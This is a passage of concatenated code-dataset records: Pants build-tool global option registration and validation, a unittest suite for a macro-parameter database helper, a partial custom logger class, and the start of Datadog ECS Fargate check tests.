default=DEFAULT_LOCAL_STORE_OPTIONS.files_max_size_bytes,\n        )\n        register(\n            \"--local-store-directories-max-size-bytes\",\n            type=int,\n            advanced=True,\n            help=(\n                \"The maximum size in bytes of the local store containing directories. \"\n                f\"Stored below `{local_store_dir_flag}`.\"\n            ),\n            default=DEFAULT_LOCAL_STORE_OPTIONS.directories_max_size_bytes,\n        )\n        register(\n            \"--named-caches-dir\",\n            advanced=True,\n            help=(\n                \"Directory to use for named global caches for tools and processes with trusted, \"\n                f\"concurrency-safe caches. {cache_instructions}\"\n            ),\n            default=os.path.join(get_pants_cachedir(), \"named_caches\"),\n        )\n\n        register(\n            \"--local-execution-root-dir\",\n            advanced=True,\n            help=f\"Directory to use for local process execution sandboxing. {cache_instructions}\",\n            default=tempfile.gettempdir(),\n        )\n        register(\n            \"--process-execution-local-cache\",\n            type=bool,\n            default=DEFAULT_EXECUTION_OPTIONS.process_execution_local_cache,\n            advanced=True,\n            help=(\n                \"Whether to cache process executions in a local cache persisted to disk at \"\n                \"`--local-store-dir`.\"\n            ),\n        )\n        register(\n            \"--process-execution-local-cleanup\",\n            type=bool,\n            default=DEFAULT_EXECUTION_OPTIONS.process_execution_local_cleanup,\n            advanced=True,\n            help=(\n                \"If false, Pants will not clean up local directories used as chroots for running \"\n                \"processes. Pants will log their location so that you can inspect the chroot, and \"\n                \"run the `__run.sh` script to recreate the process using the same argv and \"\n                \"environment variables used by Pants. This option is useful for debugging.\"\n            ),\n        )\n\n        register(\n            \"--ca-certs-path\",\n            advanced=True,\n            type=str,\n            default=None,\n            help=\"Path to a file containing PEM-format CA certificates used for verifying secure \"\n            \"connections when downloading files required by a build.\",\n        )\n\n        register(\n            process_execution_local_parallelism,\n            type=int,\n            default=DEFAULT_EXECUTION_OPTIONS.process_execution_local_parallelism,\n            advanced=True,\n            help=\"Number of concurrent processes that may be executed locally.\",\n        )\n        register(\n            \"--process-execution-remote-parallelism\",\n            type=int,\n            default=DEFAULT_EXECUTION_OPTIONS.process_execution_remote_parallelism,\n            advanced=True,\n            help=\"Number of concurrent processes that may be executed remotely.\",\n        )\n        register(\n            \"--process-execution-cache-namespace\",\n            advanced=True,\n            type=str,\n            default=DEFAULT_EXECUTION_OPTIONS.process_execution_cache_namespace,\n            help=(\n                \"The cache namespace for process execution. \"\n                \"Change this value to invalidate every artifact's execution, or to prevent \"\n                \"process cache entries from being (re)used for different usecases or users.\"\n            ),\n        )\n\n        register(\n            \"--remote-execution\",\n            advanced=True,\n            type=bool,\n            default=DEFAULT_EXECUTION_OPTIONS.remote_execution,\n            help=(\n                \"Enables remote workers for increased parallelism. (Alpha)\\n\\nAlternatively, you \"\n                \"can use `--remote-cache-read` and `--remote-cache-write` to still run everything \"\n                \"locally, but to use a remote cache.\"\n            ),\n        )\n        register(\n            \"--remote-cache-read\",\n            type=bool,\n            default=DEFAULT_EXECUTION_OPTIONS.remote_cache_read,\n            advanced=True,\n            help=(\n                \"Whether to enable reading from a remote cache.\\n\\nThis cannot be used at the same \"\n                \"time as `--remote-execution`.\"\n            ),\n        )\n        register(\n            \"--remote-cache-write\",\n            type=bool,\n            default=DEFAULT_EXECUTION_OPTIONS.remote_cache_write,\n            advanced=True,\n            help=(\n                \"Whether to enable writing results to a remote cache.\\n\\nThis cannot be used at \"\n                \"the same time as `--remote-execution`.\"\n            ),\n        )\n\n        register(\n            \"--remote-instance-name\",\n            advanced=True,\n            help=(\n                \"Name of the remote instance to use by remote caching and remote execution.\\n\\n\"\n                \"This is used by some remote servers for routing. Consult your remote server for \"\n                \"whether this should be set.\\n\\nYou can also use `--remote-auth-plugin` to provide \"\n                \"a plugin to dynamically set this value.\"\n            ),\n        )\n        register(\n            \"--remote-ca-certs-path\",\n            advanced=True,\n            help=(\n                \"Path to a PEM file containing CA certificates used for verifying secure \"\n                \"connections to --remote-execution-address and --remote-store-address.\\n\\nIf \"\n                \"unspecified, Pants will attempt to auto-discover root CA certificates when TLS \"\n                \"is enabled with remote execution and caching.\"\n            ),\n        )\n        register(\n            \"--remote-oauth-bearer-token-path\",\n            advanced=True,\n            help=(\n                \"Path to a file containing an oauth token to use for gGRPC connections to \"\n                \"--remote-execution-address and --remote-store-address.\\n\\nIf specified, Pants will \"\n                \"add a header in the format `authorization: Bearer <token>`. You can also manually \"\n                \"add this header via `--remote-execution-headers` and `--remote-store-headers`, or \"\n                \"use `--remote-auth-plugin` to provide a plugin to dynamically set the relevant \"\n                \"headers. Otherwise, no authorization will be performed.\"\n            ),\n        )\n        register(\n            \"--remote-auth-plugin\",\n            advanced=True,\n            type=str,\n            default=None,\n            help=(\n                \"Path to a plugin to dynamically configure remote caching and execution \"\n                \"options.\\n\\n\"\n                \"Format: `path.to.module:my_func`. Pants will import your module and run your \"\n                \"function. Update the `--pythonpath` option to ensure your file is loadable.\\n\\n\"\n                \"The function should take the kwargs `initial_store_headers: Dict[str, str]`, \"\n                \"`initial_execution_headers: Dict[str, str]`, and `options: Options` (from \"\n                \"pants.option.options). It should return an instance of \"\n                \"`AuthPluginResult` from `pants.option.global_options`.\\n\\n\"\n                \"Pants will replace the headers it would normally use with whatever your plugin \"\n                \"returns; usually, you should include the `initial_store_headers` and \"\n                \"`initial_execution_headers` in your result so that options like \"\n                \"`--remote-store-headers` still work.\\n\\n\"\n                \"If you return `instance_name`, Pants will replace `--remote-instance-name` \"\n                \"with this value.\\n\\n\"\n                \"If the returned auth state is AuthPluginState.UNAVAILABLE, Pants will disable \"\n                \"remote caching and execution.\"\n            ),\n        )\n\n        register(\n            \"--remote-store-address\",\n            advanced=True,\n            type=str,\n            default=DEFAULT_EXECUTION_OPTIONS.remote_store_address,\n            help=(\n                \"The URI of a server used for the remote file store.\\n\\nFormat: \"\n                \"`scheme://host:port`. The supported schemes are `grpc` and `grpcs`, i.e. gRPC \"\n                \"with TLS enabled. If `grpc` is used, TLS will be disabled.\"\n            ),\n        )\n        register(\n            \"--remote-store-headers\",\n            advanced=True,\n            type=dict,\n            default=DEFAULT_EXECUTION_OPTIONS.remote_store_headers,\n            help=(\n                \"Headers to set on remote store requests.\\n\\nFormat: header=value. Pants \"\n                \"may add additional headers.\\n\\nSee `--remote-execution-headers` as well.\"\n            ),\n        )\n        register(\n            \"--remote-store-chunk-bytes\",\n            type=int,\n            advanced=True,\n            default=DEFAULT_EXECUTION_OPTIONS.remote_store_chunk_bytes,\n            help=\"Size in bytes of chunks transferred to/from the remote file store.\",\n        )\n        register(\n            \"--remote-store-chunk-upload-timeout-seconds\",\n            type=int,\n            advanced=True,\n            default=DEFAULT_EXECUTION_OPTIONS.remote_store_chunk_upload_timeout_seconds,\n            help=\"Timeout (in seconds) for uploads of individual chunks to the remote file store.\",\n        )\n        register(\n            \"--remote-store-rpc-retries\",\n            type=int,\n            advanced=True,\n            default=DEFAULT_EXECUTION_OPTIONS.remote_store_rpc_retries,\n            help=\"Number of times to retry any RPC to the remote store before giving up.\",\n        )\n\n        register(\n            \"--remote-cache-warnings\",\n            type=RemoteCacheWarningsBehavior,\n            default=DEFAULT_EXECUTION_OPTIONS.remote_cache_warnings,\n            advanced=True,\n            help=(\n                \"Whether to log remote cache failures at the `warn` log level.\\n\\n\"\n                \"All errors not logged at the `warn` level will instead be logged at the \"\n                \"`debug` level.\"\n            ),\n        )\n        register(\n            \"--remote-cache-eager-fetch\",\n            type=bool,\n            advanced=True,\n            default=DEFAULT_EXECUTION_OPTIONS.remote_cache_eager_fetch,\n            help=(\n                \"Eagerly fetch relevant content from the remote store instead of lazily fetching.\"\n                \"\\n\\nThis may result in worse performance, but reduce the frequency of errors \"\n                \"encountered by reducing the surface area of when remote caching is used.\"\n            ),\n        )\n\n        register(\n            \"--remote-execution-address\",\n            advanced=True,\n            type=str,\n            default=DEFAULT_EXECUTION_OPTIONS.remote_execution_address,\n            help=(\n                \"The URI of a server used as a remote execution scheduler.\\n\\nFormat: \"\n                \"`scheme://host:port`. The supported schemes are `grpc` and `grpcs`, i.e. gRPC \"\n                \"with TLS enabled. If `grpc` is used, TLS will be disabled.\\n\\nYou must also set \"\n                \"`--remote-store-address`, which will often be the same value.\"\n            ),\n        )\n        register(\n            \"--remote-execution-extra-platform-properties\",\n            advanced=True,\n            help=\"Platform properties to set on remote execution requests. \"\n            \"Format: property=value. Multiple values should be specified as multiple \"\n            \"occurrences of this flag. Pants itself may add additional platform properties.\",\n            type=list,\n            default=DEFAULT_EXECUTION_OPTIONS.remote_execution_extra_platform_properties,\n        )\n        register(\n            \"--remote-execution-headers\",\n            advanced=True,\n            type=dict,\n            default=DEFAULT_EXECUTION_OPTIONS.remote_execution_headers,\n            help=(\n                \"Headers to set on remote execution requests. Format: header=value. Pants \"\n                \"may add additional headers.\\n\\nSee `--remote-store-headers` as well.\"\n            ),\n        )\n        register(\n            \"--remote-execution-overall-deadline-secs\",\n            type=int,\n            default=DEFAULT_EXECUTION_OPTIONS.remote_execution_overall_deadline_secs,\n            advanced=True,\n            help=\"Overall timeout in seconds for each remote execution request from time of submission\",\n        )\n\n    @classmethod\n    def register_options(cls, register):\n        \"\"\"Register options not tied to any particular task or subsystem.\"\"\"\n        # The bootstrap options need to be registered on the post-bootstrap Options instance, so it\n        # won't choke on them on the command line, and also so we can access their values as regular\n        # global-scope options, for convenience.\n        cls.register_bootstrap_options(register)\n\n        register(\n            \"--dynamic-ui\",\n            type=bool,\n            default=((\"CI\" not in os.environ) and sys.stderr.isatty()),\n            help=\"Display a dynamically-updating console UI as Pants runs. This is true by default \"\n            \"if Pants detects a TTY and there is no 'CI' environment variable indicating that \"\n            \"Pants is running in a continuous integration environment.\",\n        )\n\n        register(\n            \"--tag\",\n            type=list,\n            metavar=\"[+-]tag1,tag2,...\",\n            help=(\n                \"Include only targets with these tags (optional '+' prefix) or without these \"\n                f\"tags ('-' prefix). See {bracketed_docs_url('advanced-target-selection')}.\"\n            ),\n        )\n        register(\n            \"--exclude-target-regexp\",\n            type=list,\n            default=[],\n            metavar=\"<regexp>\",\n            help=\"Exclude targets that match these regexes. This does not impact file arguments.\",\n        )\n\n        register(\n            \"--files-not-found-behavior\",\n            advanced=True,\n            type=FilesNotFoundBehavior,\n            default=FilesNotFoundBehavior.warn,\n            help=\"What to do when files and globs specified in BUILD files, such as in the \"\n            \"`sources` field, cannot be found. This happens when the files do not exist on \"\n            \"your machine or when they are ignored by the `--pants-ignore` option.\",\n        )\n        register(\n            \"--owners-not-found-behavior\",\n            advanced=True,\n            type=OwnersNotFoundBehavior,\n            default=OwnersNotFoundBehavior.error,\n            help=(\n                \"What to do when file arguments do not have any owning target. This happens when \"\n                \"there are no targets whose `sources` fields include the file argument.\"\n            ),\n        )\n\n        register(\n            \"--build-patterns\",\n            advanced=True,\n            type=list,\n            default=[\"BUILD\", \"BUILD.*\"],\n            help=(\n                \"The naming scheme for BUILD files, i.e. where you define targets. This only sets \"\n                \"the naming scheme, not the directory paths to look for. To add ignore\"\n                \"patterns, use the option `--build-ignore`.\"\n            ),\n        )\n        register(\n            \"--build-ignore\",\n            advanced=True,\n            type=list,\n            default=[],\n            help=(\n                \"Paths to ignore when identifying BUILD files. This does not affect any other \"\n                \"filesystem operations; use `--pants-ignore` for that instead. Patterns use the \"\n                \"gitignore pattern syntax (https://git-scm.com/docs/gitignore).\"\n            ),\n        )\n        register(\n            \"--build-file-prelude-globs\",\n            advanced=True,\n            type=list,\n            default=[],\n            help=(\n                \"Python files to evaluate and whose symbols should be exposed to all BUILD files. \"\n                f\"See {bracketed_docs_url('macros')}.\"\n            ),\n        )\n        register(\n            \"--subproject-roots\",\n            type=list,\n            advanced=True,\n            default=[],\n            help=\"Paths that correspond with build roots for any subproject that this \"\n            \"project depends on.\",\n        )\n\n        loop_flag = \"--loop\"\n        register(\n            loop_flag,\n            type=bool,\n            help=\"Run goals continuously as file changes are detected. Alpha feature.\",\n        )\n        register(\n            \"--loop-max\",\n            type=int,\n            default=2 ** 32,\n            advanced=True,\n            help=f\"The maximum number of times to loop when `{loop_flag}` is specified.\",\n        )\n\n        register(\n            \"--streaming-workunits-report-interval\",\n            type=float,\n            default=1,\n            advanced=True,\n            help=\"Interval in seconds between when streaming workunit event receivers will be polled.\",\n        )\n\n    @classmethod\n    def validate_instance(cls, opts):\n        \"\"\"Validates an instance of global options for cases that are not prohibited via\n        registration.\n\n        For example: mutually exclusive options may be registered by passing a `mutually_exclusive_group`,\n        but when multiple flags must be specified together, it can be necessary to specify post-parse\n        checks.\n\n        Raises pants.option.errors.OptionsError on validation failure.\n        \"\"\"\n        if opts.rule_threads_core < 2:\n            # TODO: This is a defense against deadlocks due to #11329: we only run one `@goal_rule`\n            # at a time, and a `@goal_rule` will only block one thread.\n            raise OptionsError(\"--rule-threads-core values less than 2 are not supported.\")\n\n        if opts.remote_execution and (opts.remote_cache_read or opts.remote_cache_write):\n            raise OptionsError(\n                \"`--remote-execution` cannot be set at the same time as either \"\n                \"`--remote-cache-read` or `--remote-cache-write`.\\n\\nIf remote execution is \"\n                \"enabled, it will already use remote caching.\"\n            )\n\n        if opts.remote_execution and not opts.remote_execution_address:\n            raise OptionsError(\n                \"The `--remote-execution` option requires also setting \"\n                \"`--remote-execution-address` to work properly.\"\n            )\n        if opts.remote_execution_address and not opts.remote_store_address:\n            raise OptionsError(\n                \"The `--remote-execution-address` option requires also setting \"\n                \"`--remote-store-address`. Often these have the same value.\"\n            )\n\n        if opts.remote_cache_read and not opts.remote_store_address:\n            raise OptionsError(\n                \"The `--remote-cache-read` option requires also setting \"\n                \"`--remote-store-address` to work properly.\"\n            )\n        if opts.remote_cache_write and not opts.remote_store_address:\n            raise OptionsError(\n                \"The `--remote-cache-write` option requires also setting \"\n                \"`--remote-store-address` or to work properly.\"\n            )\n\n        def validate_remote_address(opt_name: str) -> None:\n            valid_schemes = [f\"{scheme}://\" for scheme in (\"grpc\", \"grpcs\")]\n            address = getattr(opts, opt_name)\n            if address and not any(address.startswith(scheme) for scheme in valid_schemes):\n                raise OptionsError(\n                    f\"The `{opt_name}` option must begin with one of {valid_schemes}, but \"\n                    f\"was {address}.\"\n                )\n\n        validate_remote_address(\"remote_execution_address\")\n        validate_remote_address(\"remote_store_address\")\n\n        # Ensure that remote headers are ASCII.\n        def validate_remote_headers(opt_name: str) -> None:\n            command_line_opt_name = f\"--{opt_name.replace('_', '-')}\"\n            for k, v in getattr(opts, opt_name).items():\n                if not k.isascii():\n                    raise OptionsError(\n                        f\"All values in `{command_line_opt_name}` must be ASCII, but the key \"\n                        f\"in `{k}: {v}` has non-ASCII characters.\"\n                    )\n                if not v.isascii():\n                    raise OptionsError(\n                        f\"All values in `{command_line_opt_name}` must be ASCII, but the value in \"\n                        f\"`{k}: {v}` has non-ASCII characters.\"\n                    )\n\n        validate_remote_headers(\"remote_execution_headers\")\n        validate_remote_headers(\"remote_store_headers\")\n\n    @staticmethod\n    def create_py_executor(bootstrap_options: OptionValueContainer) -> PyExecutor:\n        rule_threads_max = (\n            bootstrap_options.rule_threads_max\n            if bootstrap_options.rule_threads_max\n            else 4 * bootstrap_options.rule_threads_core\n        )\n        return PyExecutor(\n            core_threads=bootstrap_options.rule_threads_core, max_threads=rule_threads_max\n        )\n\n    @staticmethod\n    def compute_pants_ignore(buildroot, global_options):\n        \"\"\"Computes the merged value of the `--pants-ignore` flag.\n\n        This inherently includes the workdir and distdir locations if they are located under the\n        buildroot.\n        \"\"\"\n        pants_ignore = list(global_options.pants_ignore)\n\n        def add(absolute_path, include=False):\n            # To ensure that the path is ignored regardless of whether it is a symlink or a directory, we\n            # strip trailing slashes (which would signal that we wanted to ignore only directories).\n            maybe_rel_path = fast_relpath_optional(absolute_path, buildroot)\n            if maybe_rel_path:\n                rel_path = maybe_rel_path.rstrip(os.path.sep)\n                prefix = \"!\" if include else \"\"\n                pants_ignore.append(f\"{prefix}/{rel_path}\")\n\n        add(global_options.pants_workdir)\n        add(global_options.pants_distdir)\n        add(global_options.pants_subprocessdir)\n\n        return pants_ignore\n\n    @staticmethod\n    def compute_pantsd_invalidation_globs(\n        buildroot: str, bootstrap_options: OptionValueContainer\n    ) -> Tuple[str, ...]:\n        \"\"\"Computes the merged value of the `--pantsd-invalidation-globs` option.\n\n        Combines --pythonpath and --pants-config-files files that are in {buildroot} dir with those\n        invalidation_globs provided by users.\n        \"\"\"\n        invalidation_globs: OrderedSet[str] = OrderedSet()\n\n        # Globs calculated from the sys.path and other file-like configuration need to be sanitized\n        # to relative globs (where possible).\n        potentially_absolute_globs = (\n            *sys.path,\n            *bootstrap_options.pythonpath,\n            *bootstrap_options.pants_config_files,\n        )\n        for glob in potentially_absolute_globs:\n            # NB: We use `relpath` here because these paths are untrusted, and might need to be\n            # normalized in addition to being relativized.\n            glob_relpath = os.path.relpath(glob, buildroot)\n            if glob_relpath == \".\" or glob_relpath.startswith(\"..\"):\n                logger.debug(\n                    f\"Changes to {glob}, outside of the buildroot, will not be invalidated.\"\n                )\n            else:\n                invalidation_globs.update([glob_relpath, glob_relpath + \"/**\"])\n\n        # Explicitly specified globs are already relative, and are added verbatim.\n        invalidation_globs.update(\n            (\n                \"!*.pyc\",\n                \"!__pycache__/\",\n                # TODO: This is a bandaid for https://github.com/pantsbuild/pants/issues/7022:\n                # macros should be adapted to allow this dependency to be automatically detected.\n                \"requirements.txt\",\n                \"3rdparty/**/requirements.txt\",\n                *bootstrap_options.pantsd_invalidation_globs,\n            )\n        )\n\n        return tuple(invalidation_globs)\n","sub_path":"src/python/pants/option/global_options.py","file_name":"global_options.py","file_ext":"py","file_size_in_byte":59187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"178244308","text":"# -*- coding: utf-8 -*-\nimport unittest\nimport db_helper\nimport db_tables\n\n\nclass TestDbHelper(unittest.TestCase):\n\n    def setUp(self):\n        self.api           = 2389\n        self.info          = db_helper.getMacroInfo(str(self.api))\n        self.paramsAll     = db_helper.getParamsAll(self.info)\n        self.paramsInfoAll = db_helper.getParamsInfoAll(self.paramsAll)\n        self.testData      = (2327,9002,2328,5204,5205,5206,2329,2330,2331,\\\n            2332,2333,2334,2335,2336,2337,2338,2339,2729,2340,2341,2730,\\\n            2342,2343,2731,2344,2345,2346,5126,5127,5128,5129,2347,2348,\\\n            2732,2349,4044,4045,4046,5130,2733,2350,2351,2352,2353,2354,\\\n            2355,2356,2357,5131,5132,2358,5111,5112,9003,2734,2735,5228,\\\n            5229,5230,5231,5207,2359,9084,2360,2316,2317,2318,2319,2320,\\\n            2321,2322,2323,2927,2928,2736,9002,2737,2738,2739,2740,2325,\\\n            9002,2326,2309,5133,2311,9002,2313,2314,2315,5134,5135,9002,\\\n            5136,5137,5138,9002)\n        self.paramsInfoWithStrAll = db_helper.insertStrParamsAll(self.paramsInfoAll)\n\n    def test_get_macro_info(self):\n        self.assertEqual(self.info[0][db_helper.NAME], float(self.api))\n        self.assertEqual(len(self.info[0]), db_helper.DB_MACRO_NAME_COL)\n        self.assertEqual(len(self.info),2)\n#        for index, param in enumerate(self.info):\n#            print index, param\n\n    def test_get_number_of_params(self):\n        self.assertEqual(db_helper.getNumParams(self.info[0]), \\\n            int(self.info[0][db_helper.PARAM_COUNT]))\n        self.assertEqual(db_helper.getNumParams(self.info[1]), \\\n            int(self.info[1][db_helper.PARAM_COUNT]))\n\n    def test_get_params_list(self):\n        self.assertEqual(len(self.paramsAll[0]), int(self.info[0][db_helper.PARAM_COUNT]))\n        index = db_helper.PARAM_COUNT\n        for param in self.paramsAll[0]:\n            index += 1\n            self.assertEqual(param, self.info[0][index])\n#        for index, param in enumerate(self.paramsAll):\n#            print index, param\n\n    def test_get_param_info_from_list(self):\n        self.assertEqual(len(self.paramsAll[0]), len(self.paramsInfoAll[0]))\n        for index in range(0, len(self.paramsAll[0])):\n            self.assertEqual(self.paramsAll[0][index], self.paramsInfoAll[0][index][0])\n\n    def test_insert_struct_params(self):\n        self.assertEqual(len(self.paramsInfoWithStrAll[0]), len(self.testData))\n        for index in range(0, len(self.paramsInfoWithStrAll)):\n            self.assertEqual(self.paramsInfoWithStrAll[0][index][0], self.testData[index])\n\n    def test_combo_info(self):\n        info = db_helper.getComboInfo(1017)\n        self.assertEqual(len(info),3)\n        names = ['SDM side not specified',\\\n                 'SDM (side A) specified',\\\n                 'SDM (side B) specified']\n        for index in range(3):\n            self.assertEqual(info[index][db_tables.CP_COMBO_NAME.index('macro_no')],1017)\n            self.assertEqual(info[index][db_tables.CP_COMBO_NAME.index('parameter_price')],index)\n            self.assertEqual(info[index][db_tables.CP_COMBO_NAME.index('parameter_price_name')],names[index])\n    \n    def test_paraminfo_from_name(self):\n        test_data = (5310.0, 0.0, 0.0, u'Number of Message data', 65535.0,\\\n                     0.0, -1.0, 0.0, -1.0, 0.0, -1.0, 0.0, -1.0, 0.0,\\\n                     u'1 .. 32', 1.0, 9.0, 13.0, 4.0, 0.0, 0.0, 0.0, 1.0,\\\n                     1.0, 0.0, 0.0, 0.0, 0.0)\n        parameter_name         = 'Number of Message data'\n        macro                  = 2204\n        actual                 = db_helper.Get_Parameter_Info_From_Name(macro, parameter_name)\n        self.assertTupleEqual(actual, test_data)\n        invalid_parameter_name = 'Invalid data'\n        actual_invalid         = db_helper.Get_Parameter_Info_From_Name(macro, invalid_parameter_name)\n        self.assertTupleEqual(actual_invalid, ())\n\n    def test_paramNumber_from_name(self):\n        test_data      =  (5310.0, 0.0, 0.0, u'Number of Message data', 65535.0,\\\n                          0.0, -1.0, 0.0, -1.0, 0.0, -1.0, 0.0, -1.0, 0.0,\\\n                          u'1 .. 32', 1.0, 9.0, 13.0, 4.0, 0.0, 0.0, 0.0, 1.0,\\\n                          1.0, 0.0, 0.0, 0.0, 0.0)\n        parameter_name = 'Number of Message data'\n        param_number   = db_tables.CP_PARA_NAME.index('key_no')\n        macro          = 2204\n        actual         = db_helper.Get_Parameter_Number_From_Name(macro, parameter_name)\n        self.assertEqual(actual, test_data[param_number])\n\n    def test_get_parameters_of_macro(self):\n        macro_number = 1240\n        div1         = [1808, 1142, 1809, 1810, 1138, 1139, 1140, 1141, 1144, 1145, 1146]\n        test_data    = [div1]\n        parameters   = db_helper.Get_Parameters_Of_Macro(1240)\n        for index in range(len(test_data)):\n            self.assertListEqual(parameters[index], test_data[index])\n\n    def test_get_struct_parameters_of_macro(self):\n        macro_number = 1240\n        div1         = [1142]\n        test_data    = [div1]\n        parameters   = db_helper.Get_Struct_Parameters_Of_Macro(macro_number)\n        for index in range(len(test_data)):\n            self.assertListEqual(parameters[index], test_data[index])\n\n    def test_get_struct_attribute(self):\n        struct_key      = 1001\n        name            = db_helper.Get_Struct_Attribute(struct_key, 'struct_name')\n        hex_count       = db_helper.Get_Struct_Attribute(struct_key, 'total_hex_parameter_count')\n        parameter_count = db_helper.Get_Struct_Attribute_From_Index(struct_key, 4)\n        self.assertEqual(name, 'Equipment Component Info')\n        self.assertEqual(hex_count, 4)\n        self.assertEqual(parameter_count, 1.0)\n\n    def test_struct_para_count(self):\n        struct_key          = 2015\n        test_data           = [2362, 2363, 2364]\n        test_data_non_str   = [2362, 2363]\n        test_data_str_only  = [2364]\n        str_para_count      = db_helper.Get_Struct_Attribute(struct_key, 'str_para_count')\n        self.assertEqual(str_para_count, 1)\n        str_params_list     = db_helper.Get_Parameters_Of_Struct(struct_key)\n        self.assertListEqual(str_params_list, test_data)\n        str_only_params     = db_helper.Get_Struct_Parameters_Of_Struct(struct_key)\n        self.assertListEqual(str_only_params, test_data_str_only)\n        non_str_only_params = db_helper.Get_Non_Struct_Parameters_Of_Struct(struct_key)\n        self.assertListEqual(non_str_only_params, test_data_non_str)\n\n    def test_para_number_from_index(self):\n        macro_no              = 1247\n        index                 = 7\n        div                   = 0\n        actual_parameter_no = db_helper.Get_Parameter_Number_From_Index(macro_no, index)\n        self.assertEqual(actual_parameter_no, 5327)\n        indices               = [7, 8]\n        actual_parameter_list = db_helper.Get_Parameter_Numbers_From_Indices(macro_no, indices)\n        self.assertListEqual(actual_parameter_list, [5327, 5328])\n\n    def test_get_default_value(self):\n        string_list = [\"32, 64, 128, 256, 512\",\n                       \"0 .. 255\",\n                       \"1, 2, 4, 6, 8, 10, 12, 14, 16, 32, 64, 128, 256\",\n                       \"0 .. 1023\",\n                       \"1 .. 16\",\n                       \"0 .. 1\",\n                       \"1 .. 64\",\n                       \"API ID 1352\"]\n        expected_list = [\"32\",\n                         \"0\",\n                         \"1\",\n                         \"0\",\n                         \"1\",\n                         \"0\",\n                         \"1\",\n                         \"1352\"]\n        actual_list = []\n        for limit in string_list:\n            actual_list.append(db_helper.Get_Default_Value(limit))\n        self.assertListEqual(actual_list, expected_list)\n\n    def test_get_default_value_jap(self):\n        string_list = [\"32, 64, 128, 256, 512\",\n                       \"0 .. 255\",\n                       \"1, 2, 4, 6, 8, 10, 12, 14, 16, 32, 64, 128, 256\",\n                       \"0 .. 1023\",\n                       \"1 .. 16\",\n                       \"0 .. 1\",\n                       \"1 .. 64\",\n                       \"本マクロ番号　1359\"]\n        expected_list = [\"32\",\n                         \"0\",\n                         \"1\",\n                         \"0\",\n                         \"1\",\n                         \"0\",\n                         \"1\",\n                         \"1359\"]\n        actual_list = []\n        for limit in string_list:\n            actual_list.append(db_helper.Get_Default_Value(limit))\n        self.assertListEqual(actual_list, expected_list)\n\n    def test_get_macro_name(self):\n        expected_name = \"Message Queue Setting\"\n        macro_number = '1004'\n        actual_name = db_helper.Get_Macro_Name(macro_number)\n        self.assertEqual(actual_name, expected_name)\n        \nif __name__ == \"__main__\":\n    unittest.main()\n","sub_path":"test_db.py","file_name":"test_db.py","file_ext":"py","file_size_in_byte":8893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"342677740","text":"import io\nimport os\nimport sys\nimport traceback\n\nfrom logx import NOTSET, checkLevel, getSrcFile, currentframe\nfrom logx.log_filterer import LogFilterer\n\n\nclass Loggxr(LogFilterer):\n\n    def __init__(self, name, level=NOTSET):\n        self.name = name\n        self.level = checkLevel(level)\n        self.parent = None\n        self.propagate = True\n        self.handlers = []\n        self.disable = False\n\n    def findCaller(self, stack_info=False):\n        \"\"\"\n        Find the stack frame of the caller so that we can note the source\n        file name, line number and function name.\n        \"\"\"\n        f = currentframe()\n        if f is not None:\n            f = f.f_back\n        rv = '(Unknown file)', 0, '(Unknown function)', None\n        while hasattr(f, 'f_code'):\n            co = f.f_back\n            filename = os.path.normcase(co.co_filename)\n            if filename == getSrcFile():\n                f = f.f_back\n                continue\n            sinfo = None\n            if stack_info:\n                sio = io.StringIO()\n                sio.write('stack (most recent call last):\\n')\n                traceback.print_stack(f, file=sio)\n                sinfo = sio.getvalue()\n                if sinfo[-1] == '\\n':\n                    sinfo = sinfo[:-1]\n                sio.close()\n            rv = (co.co_filename, f.f_lineno, co.co_name, sinfo)\n            break\n        return rv\n\n    def _log(self, name, level, msg, args, exc_info=None, extra=None, stack_info=False):\n        \"\"\"\n        Low-level logging routine which creates a LogRecord and\n        then calls all the handlers of this logger to handle the record.\n        \"\"\"\n        sinfo = None\n        # IronPython doesn't track Python frames, so findCaller raises an\n        # exception on some versions of IronPython. We trap it here so that\n        # IronPython can use logging.\n        if getSrcFile():\n            try:\n                fn, lno, func, sinfo = self.findCaller(stack_info)\n            except ValueError:\n                fn, lno, func = '(Unknown file)', 0, '(Unknown function)'\n        else:\n            fn, lno, func = '(Unknown file)', 0, '(Unknown function)'\n\n        if exc_info:\n            if isinstance(exc_info, BaseException):\n                exc_info = (type(exc_info), exc_info, exc_info.__traceback__)\n            elif not isinstance(exc_info, tuple):\n                exc_info = sys.exc_info()\n\n        # record=\n","sub_path":"lesson/logx/log_xr.py","file_name":"log_xr.py","file_ext":"py","file_size_in_byte":2416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"375777584","text":"# (C) Datadog, Inc. 2010-2017\n# All rights reserved\n# Licensed under Simplified BSD License (see LICENSE)\nfrom __future__ import unicode_literals\nimport os\n\nimport pytest\nimport mock\nimport simplejson as json\n\nfrom datadog_checks.ecs_fargate import FargateCheck\n\n\nHERE = os.path.dirname(os.path.abspath(__file__))\nINSTANCE_TAGS = ['foo:bar']\n\n\n@pytest.fixture\ndef instance():\n    return {\n        'timeout': '2',\n        'tags': INSTANCE_TAGS,\n        'label_whitelist': ['com.amazonaws.ecs.container-name'],\n    }\n\n\n@pytest.fixture\ndef check():\n    return FargateCheck('ecs_fargate', {}, {})\n\n\nclass MockResponse:\n    def __init__(self, json_data, status_code):\n        self.json_data = json_data\n        self.status_code = status_code\n\n    def json(self):\n        return self.json_data\n\n\ndef mocked_requests_get(*args, **kwargs):\n    if args[0].endswith(\"/metadata\"):\n        fpath = os.path.join(HERE, 'fixtures', 'metadata.json')\n    elif args[0].endswith(\"/stats\"):\n        fpath = os.path.join(HERE, 'fixtures', 'stats.json')\n    else:\n        return MockResponse(None, 404)\n\n    with open(fpath) as f:\n        return MockResponse(json.loads(f.read()), 200)\n\n\ndef test_failing_check(check, instance, aggregator):\n    \"\"\"\n    Testing fargate metadata endpoint error.\n    \"\"\"\n    with mock.patch('datadog_checks.ecs_fargate.ecs_fargate.requests.get', return_value=MockResponse(\"{}\", 500)):\n        check.check(instance)\n\n    aggregator.assert_service_check(\"fargate_check\", status=FargateCheck.CRITICAL, tags=INSTANCE_TAGS, count=1)\n\n\ndef test_invalid_response_check(check, instance, aggregator):\n    \"\"\"\n    Testing invalid fargate metadata payload.\n    \"\"\"\n    with mock.patch('datadog_checks.ecs_fargate.ecs_fargate.requests.get', return_value=MockResponse(\"{}\", 200)):\n        check.check(instance)\n\n    aggregator.assert_service_check(\"fargate_check\", 